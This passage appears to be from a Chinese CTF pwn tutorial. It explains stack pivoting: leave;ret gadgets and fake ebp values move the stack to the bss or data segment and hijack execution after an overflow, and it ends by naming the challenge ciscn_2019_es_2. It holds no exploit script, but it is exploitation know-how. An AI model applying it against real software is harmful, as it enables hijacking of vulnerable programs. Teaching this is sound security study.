pop ebp # 弹出ebp

下面我们来仔细说一下基本的控制过程。

  1. 在有栈溢出的程序执行 leave 时,其分为两个步骤
  • mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
  • pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp便指向了ebp2,也就是保存了 ebp2 所在的地址。
  1. 执行 ret 指令,会再次执行 leave ret 指令。
  2. 执行 leave 指令,其分为两个步骤
  • mov esp, ebp ,这会将 esp 指向 ebp2。
  • pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
  1. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行
  • push ebp,会将 ebp2 值压入栈中,
  • mov ebp, esp,将 ebp 指向当前基地址。 此时的栈结构如下
ebp
|
v
ebp2|leave ret addr|arg1|arg2
  1. 当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。
  2. 程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。 可以看出在栈迁移 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址。

图解

主要用的就是利用 leave;ret; 这样的gadgets image.png 假设,我们有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这样子,当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入: image.png 而实际上在程序调用完成 call 返回的时候,就会有这样的 mov esp,ebp pop ebp ret 指令 image.png 当我们挨个去执行的时候会出现这样的情况 首先是 mov esp,ebp ; esp=ebp 执行完以后变成了这个样子: image.png 然后 pop ebp ; ebp = *(esp) 执行完后就是 别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的加一个单位 image.png read(0, buf, 0x100); 这时候就到 ret ; pop eip; eip = *(esp) 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处 构造的内容主要是把fake ebp1 处写成 fake ebp2 的地址 image.png read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样 首先是 mov esp,ebp 执行完成后效果如下: image.png 然后是 pop ebp 执行完成后: image.png 此时在执行 ret 命令,他就会执行我们构造在 bss 段后者 data 段的那个函数 image.png

题目

ciscn_2019_es_2 spwn ​